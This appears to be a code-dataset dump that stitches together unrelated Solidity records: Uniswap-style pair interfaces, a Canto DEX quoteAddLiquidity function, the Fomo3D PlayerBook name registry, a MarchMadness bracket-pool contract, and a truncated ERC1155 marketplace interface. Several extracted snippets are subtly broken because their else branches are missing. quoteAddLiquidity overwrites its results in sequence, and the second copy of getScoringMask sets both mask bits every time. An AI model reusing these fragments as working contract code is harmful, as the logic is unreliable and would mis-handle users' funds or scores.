event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
|
given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
|
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'FomodexLibrary: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'FomodexLibrary: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(998);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
| 14,013,078
|
./full_match/7700/0x865dE7F1Bf53B71b296e88E213cBD0503B7913cb/sources/contracts/external/cantodex/BaseV1-periphery.sol
|
create the pair if it doesn"t exist yet
|
function quoteAddLiquidity(
address tokenA,
address tokenB,
bool stable,
uint256 amountADesired,
uint256 amountBDesired
)
external
view
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
)
{
address _pair = IBaseV1Factory(factory).getPair(tokenA, tokenB, stable);
(uint256 reserveA, uint256 reserveB) = (0, 0);
uint256 _totalSupply = 0;
if (_pair != address(0)) {
_totalSupply = erc20(_pair).totalSupply();
(reserveA, reserveB) = getReserves(tokenA, tokenB, stable);
}
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
liquidity = Math.sqrt(amountA * amountB) - MINIMUM_LIQUIDITY;
uint256 amountBOptimal = quoteLiquidity(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
(amountA, amountB) = (amountADesired, amountBOptimal);
liquidity = Math.min((amountA * _totalSupply) / reserveA, (amountB * _totalSupply) / reserveB);
uint256 amountAOptimal = quoteLiquidity(amountBDesired, reserveB, reserveA);
(amountA, amountB) = (amountAOptimal, amountBDesired);
liquidity = Math.min((amountA * _totalSupply) / reserveA, (amountB * _totalSupply) / reserveB);
}
}
}
| 4,657,722
|
pragma solidity ^0.4.24;
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
contract PlayerBook {
using NameFilter for string;
using SafeMath for uint256;
address private admin = msg.sender;
address private com = 0x9f9FCa30aB69d8A5Dfbe5236A170b46fE99d7D6B;
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) .
//=============================|================================================
uint256 public registrationFee_ = 10 finney; // price to register a name
mapping(uint256 => PlayerBookReceiverInterface) public games_; // mapping of our game interfaces for sending your account info to games
mapping(address => bytes32) public gameNames_; // lookup a games name
mapping(address => uint256) public gameIDs_; // lokup a games ID
uint256 public gID_; // total number of games
uint256 public pID_; // total number of players
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amoungst any name you own)
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) list of names a player owns
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// premine the dev names (sorry not sorry)
// No keys are purchased with this method, it's simply locking our addresses,
// PID's and names for referral codes.
plyr_[1].addr = 0x40Ae782714c22319ee27E44480E92e6731BDa0f1;
plyr_[1].name = "play";
plyr_[1].names = 1;
pIDxAddr_[0x40Ae782714c22319ee27E44480E92e6731BDa0f1] = 1;
pIDxName_["play"] = 1;
plyrNames_[1]["play"] = true;
plyrNameList_[1][1] = "play";
pID_ = 1;
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
// *breathes in*
// HAHAHAHA
//address _addr = msg.sender;
//uint256 _codeLength;
//assembly {_codeLength := extcodesize(_addr)}
//require(_codeLength == 0, "sorry humans only");
require(msg.sender == tx.origin, "sorry humans only - FOR REAL THIS TIME");
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
//==============================================================================
// _ _ _ _|_ _ .
// (/_\/(/_| | | _\ .
//==============================================================================
// fired whenever a player registers a name
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev registers a name. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who refered you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// filter name + condition checks
bytes32 _name = NameFilter.nameFilter(_nameString);
// set up address
address _addr = msg.sender;
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given, no new affiliate code was given, or the
// player tried to use their own pID as an affiliate code, lolz
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
// update last affiliate
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
// register name
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// filter name + condition checks
bytes32 _name = NameFilter.nameFilter(_nameString);
// set up address
address _addr = msg.sender;
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// filter name + condition checks
bytes32 _name = NameFilter.nameFilter(_nameString);
// set up address
address _addr = msg.sender;
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
/**
* @dev players, if you registered a profile, before a game was released, or
* set the all bool to false when you registered, use this function to push
* your profile to a single game. also, if you've updated your name, you
* can use this to push your name to games of your choosing.
* -functionhash- 0x81c5b206
* @param _gameID game id
*/
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
// add players profile and most recent name
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
// add list of all names
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
/**
* @dev players, use this to push your player profile to all registered games.
* -functionhash- 0x0c6940ea
*/
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
/**
* @dev players use this to change back to one of your old names. tip, you'll
* still need to push that info to existing games.
* -functionhash- 0xb9291296
* @param _nameString the name you want to use
*/
function useMyOldName(string _nameString)
isHuman()
public
{
// filter name, and get pID
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
// make sure they own the name
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
// update their current name
plyr_[_pID].name = _name;
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ .
//=====================_|=======================================================
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
// if names already has been used, require that current msg sender owns the name
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
// add name to player profile, registry, and name book
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
// registration fee goes directly to community rewards
com.transfer(address(this).balance);
// push player info to games
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
// fire event
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
// set the new player bool to true
return (true);
} else {
return (false);
}
}
//==============================================================================
// _ _|_ _ _ _ _ | _ _ || _ .
// (/_>< | (/_| | |(_|| (_(_|||_\ .
//==============================================================================
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given, no new affiliate code was given, or the
// player tried to use their own pID as an affiliate code, lolz
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
// update last affiliate
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
//==============================================================================
// _ _ _|_ _ .
// _\(/_ | |_||_) .
//=============|================================================================
function addGame(address _gameAddress, string _gameNameStr)
public
{
require(msg.sender == admin, "only admin can call");
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
}
function setRegistrationFee(uint256 _fee)
public
{
require(msg.sender == admin, "only admin can call");
registrationFee_ = _fee;
}
}
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
|
============================================================================== _ _ _|_ _ . _\(/_ | |_||_) .=============|================================================================
|
function addGame(address _gameAddress, string _gameNameStr)
public
{
require(msg.sender == admin, "only admin can call");
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
}
| 1,705,107
|
//Address: 0xb81D475eACAa40e5BD3f425aE405Dc7e1FAF2514
//Contract name: MarchMadness
//Balance: 0 Ether
//Verification Date: 3/13/2017
//Transacion Count: 1
// CODE STARTS HERE
pragma solidity ^0.4.8;
/// @title Oracle contract where m of n predetermined voters determine a value
contract FederatedOracleBytes8 {
struct Voter {
bool isVoter;
bool hasVoted;
}
event VoterAdded(address account);
event VoteSubmitted(address account, bytes8 value);
event ValueFinalized(bytes8 value);
mapping(address => Voter) public voters;
mapping(bytes8 => uint8) public votes;
uint8 public m;
uint8 public n;
bytes8 public finalValue;
uint8 private voterCount;
address private creator;
function FederatedOracleBytes8(uint8 m_, uint8 n_) {
creator = msg.sender;
m = m_;
n = n_;
}
function addVoter(address account) {
if (msg.sender != creator) {
throw;
}
if (voterCount == n) {
throw;
}
var voter = voters[account];
if (voter.isVoter) {
throw;
}
voter.isVoter = true;
voterCount++;
VoterAdded(account);
}
function submitValue(bytes8 value) {
var voter = voters[msg.sender];
if (!voter.isVoter) {
throw;
}
if (voter.hasVoted) {
throw;
}
voter.hasVoted = true;
votes[value]++;
VoteSubmitted(msg.sender, value);
if (votes[value] == m) {
finalValue = value;
ValueFinalized(value);
}
}
}
// This library can be used to score byte brackets. Byte brackets are a succinct encoding of a
// 64 team bracket into an 8-byte array. The tournament results are encoded in the same format and
// compared against the bracket picks. To reduce the computation time of scoring a bracket, a 64-bit
// value called the "scoring mask" is first computed once for a particular result set and used to
// score all brackets.
//
// Algorithm description: https://drive.google.com/file/d/0BxHbbgrucCx2N1MxcnA1ZE1WQW8/view
// Reference implementation: https://gist.github.com/pursuingpareto/b15f1197d96b1a2bbc48
library ByteBracket {
function getBracketScore(bytes8 bracket, bytes8 results, uint64 filter)
constant
returns (uint8 points)
{
uint8 roundNum = 0;
uint8 numGames = 32;
uint64 blacklist = (uint64(1) << numGames) - 1;
uint64 overlap = uint64(~(bracket ^ results));
while (numGames > 0) {
uint64 scores = overlap & blacklist;
points += popcount(scores) << roundNum;
blacklist = pairwiseOr(scores & filter);
overlap >>= numGames;
filter >>= numGames;
numGames /= 2;
roundNum++;
}
}
function getScoringMask(bytes8 results) constant returns (uint64 mask) {
// Filter for the second most significant bit since MSB is ignored.
bytes8 bitSelector = 1 << 62;
for (uint i = 0; i < 31; i++) {
mask <<= 2;
if (results & bitSelector != 0) {
mask |= 1;
} else {
mask |= 2;
}
results <<= 1;
}
}
// Returns a bitstring of half the length by taking bits two at a time and ORing them.
//
// Separates the even and odd bits by repeatedly
// shuffling smaller segments of a bitstring.
function pairwiseOr(uint64 bits) internal returns (uint64) {
uint64 tmp;
tmp = (bits ^ (bits >> 1)) & 0x22222222;
bits ^= (tmp ^ (tmp << 1));
tmp = (bits ^ (bits >> 2)) & 0x0c0c0c0c;
bits ^= (tmp ^ (tmp << 2));
tmp = (bits ^ (bits >> 4)) & 0x00f000f0;
bits ^= (tmp ^ (tmp << 4));
tmp = (bits ^ (bits >> 8)) & 0x0000ff00;
bits ^= (tmp ^ (tmp << 8));
uint64 evens = bits >> 16;
uint64 odds = bits % 0x10000;
return evens | odds;
}
// Counts the number of 1s in a bitstring.
function popcount(uint64 bits) internal returns (uint8) {
bits -= (bits >> 1) & 0x5555555555555555;
bits = (bits & 0x3333333333333333) + ((bits >> 2) & 0x3333333333333333);
bits = (bits + (bits >> 4)) & 0x0f0f0f0f0f0f0f0f;
return uint8(((bits * 0x0101010101010101) & 0xffffffffffffffff) >> 56);
}
}
/**
* @title March Madness bracket pool smart contract
*
* The contract has four phases: submission, tournament, scoring, then the contest is over. During
* the submission phase, entrants submit a cryptographic commitment to their bracket picks. Each
* address may only make one submission. Entrants may reveal their brackets at any time after making
* the commitment. Once the tournament starts, no further submissions are allowed. When the
* tournament ends, the results are submitted by the oracles and the scoring period begins. During
* the scoring period, entrants may reveal their bracket picks and score their brackets. The highest
* scoring bracket revealed is recorded. After the scoring period ends, all entrants with a highest
* scoring bracket split the pot and may withdraw their winnings.
*
* In the event that the oracles do not submit results or fail to reach consensus after a certain
* amount of time, entry fees will be returned to entrants.
*/
contract MarchMadness {
struct Submission {
bytes32 commitment;
bytes8 bracket;
uint8 score;
bool collectedWinnings;
bool collectedEntryFee;
}
event SubmissionAccepted(address account);
event NewWinner(address winner, uint8 score);
event TournamentOver();
FederatedOracleBytes8 resultsOracle;
mapping(address => Submission) submissions;
// Amount that winners will collect
uint public winnings;
// Number of submissions with a winning score
uint public numWinners;
// Data derived from results used by bracket scoring algorithm
uint64 private scoringMask;
// Fee in wei required to enter a bracket
uint public entryFee;
// Duration in seconds of the scoring phase
uint public scoringDuration;
// Timestamp of the start of the tournament phase
uint public tournamentStartTime;
// In case the oracles fail to submit the results or reach consensus, the amount of time after
// the tournament has started after which to return entry fees to users.
uint public noContestTime;
// Timestamp of the end of the scoring phase
uint public contestOverTime;
// Byte bracket representation of the tournament results
bytes8 public results;
// The highest score of a bracket scored so far
uint8 public winningScore;
// The maximum allowed number of submissions
uint32 public maxSubmissions;
// The number of brackets submitted so far
uint32 public numSubmissions;
// IPFS hash of JSON file containing tournament information (eg. teams, regions, etc)
string public tournamentDataIPFSHash;
function MarchMadness(
uint entryFee_,
uint tournamentStartTime_,
uint noContestTime_,
uint scoringDuration_,
uint32 maxSubmissions_,
string tournamentDataIPFSHash_,
address oracleAddress
) {
entryFee = entryFee_;
tournamentStartTime = tournamentStartTime_;
scoringDuration = scoringDuration_;
noContestTime = noContestTime_;
maxSubmissions = maxSubmissions_;
tournamentDataIPFSHash = tournamentDataIPFSHash_;
resultsOracle = FederatedOracleBytes8(oracleAddress);
}
function submitBracket(bytes32 commitment) payable {
if (msg.value != entryFee) {
throw;
}
if (now >= tournamentStartTime) {
throw;
}
if (numSubmissions >= maxSubmissions) {
throw;
}
var submission = submissions[msg.sender];
if (submission.commitment != 0) {
throw;
}
submission.commitment = commitment;
numSubmissions++;
SubmissionAccepted(msg.sender);
}
function startScoring() returns (bool) {
if (results != 0) {
return false;
}
if (now < tournamentStartTime) {
return false;
}
if (now > noContestTime) {
return false;
}
bytes8 oracleValue = resultsOracle.finalValue();
if (oracleValue == 0) {
return false;
}
results = oracleValue;
scoringMask = ByteBracket.getScoringMask(results);
contestOverTime = now + scoringDuration;
TournamentOver();
return true;
}
function revealBracket(bytes8 bracket, bytes16 salt) returns (bool) {
var submission = submissions[msg.sender];
if (sha3(msg.sender, bracket, salt) != submission.commitment) {
return false;
}
submission.bracket = bracket;
return true;
}
function scoreBracket(address account) returns (bool) {
if (results == 0) {
return false;
}
if (now >= contestOverTime) {
return false;
}
var submission = submissions[account];
if (submission.bracket == 0) {
return false;
}
if (submission.score != 0) {
return false;
}
submission.score = ByteBracket.getBracketScore(submission.bracket, results, scoringMask);
if (submission.score > winningScore) {
winningScore = submission.score;
numWinners = 0;
}
if (submission.score == winningScore) {
numWinners++;
winnings = this.balance / numWinners;
NewWinner(account, submission.score);
}
return true;
}
function collectWinnings() returns (bool) {
if (now < contestOverTime) {
return false;
}
var submission = submissions[msg.sender];
if (submission.score != winningScore) {
return false;
}
if (submission.collectedWinnings) {
return false;
}
submission.collectedWinnings = true;
if (!msg.sender.send(winnings)) {
throw;
}
return true;
}
function collectEntryFee() returns (bool) {
if (now < noContestTime) {
return false;
}
if (results != 0) {
return false;
}
var submission = submissions[msg.sender];
if (submission.commitment == 0) {
return false;
}
if (submission.collectedEntryFee) {
return false;
}
submission.collectedEntryFee = true;
if (!msg.sender.send(entryFee)) {
throw;
}
return true;
}
function getBracketScore(bytes8 bracket) constant returns (uint8) {
if (results == 0) {
throw;
}
return ByteBracket.getBracketScore(bracket, results, scoringMask);
}
function getBracket(address account) constant returns (bytes8) {
return submissions[account].bracket;
}
function getScore(address account) constant returns (uint8) {
return submissions[account].score;
}
function getCommitment(address account) constant returns (bytes32) {
return submissions[account].commitment;
}
function hasCollectedWinnings(address account) constant returns (bool) {
return submissions[account].collectedWinnings;
}
}
|
Filter for the second most significant bit since MSB is ignored.
|
function getScoringMask(bytes8 results) constant returns (uint64 mask) {
bytes8 bitSelector = 1 << 62;
for (uint i = 0; i < 31; i++) {
mask <<= 2;
if (results & bitSelector != 0) {
mask |= 1;
mask |= 2;
}
results <<= 1;
}
}
| 7,227,342
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title IERC1155 Non-Fungible Token Creator basic interface
*/
interface IERC1155TokenCreator {
/**
* @dev Gets the creator of the token
* @param _tokenId uint256 ID of the token
* @return address of the creator
*/
function tokenCreator(uint256 _tokenId)
external
view
returns (address payable);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title IMarketplaceSettings Settings governing a marketplace.
*/
interface IMarketplaceSettings {
/////////////////////////////////////////////////////////////////////////
// Marketplace Min and Max Values
/////////////////////////////////////////////////////////////////////////
/**
* @dev Get the max value to be used with the marketplace.
* @return uint256 wei value.
*/
function getMarketplaceMaxValue() external view returns (uint256);
/**
* @dev Get the max value to be used with the marketplace.
* @return uint256 wei value.
*/
function getMarketplaceMinValue() external view returns (uint256);
/////////////////////////////////////////////////////////////////////////
// Marketplace Fee
/////////////////////////////////////////////////////////////////////////
/**
* @dev Get the marketplace fee percentage.
* @return uint8 wei fee.
*/
function getMarketplaceFeePercentage() external view returns (uint8);
/**
* @dev Utility function for calculating the marketplace fee for given amount of wei.
* @param _amount uint256 wei amount.
* @return uint256 wei fee.
*/
function calculateMarketplaceFee(uint256 _amount)
external
view
returns (uint256);
/////////////////////////////////////////////////////////////////////////
// Primary Sale Fee
/////////////////////////////////////////////////////////////////////////
/**
* @dev Get the primary sale fee percentage for a specific ERC1155 contract.
* @return uint8 wei primary sale fee.
*/
function getERC1155ContractPrimarySaleFeePercentage()
external
view
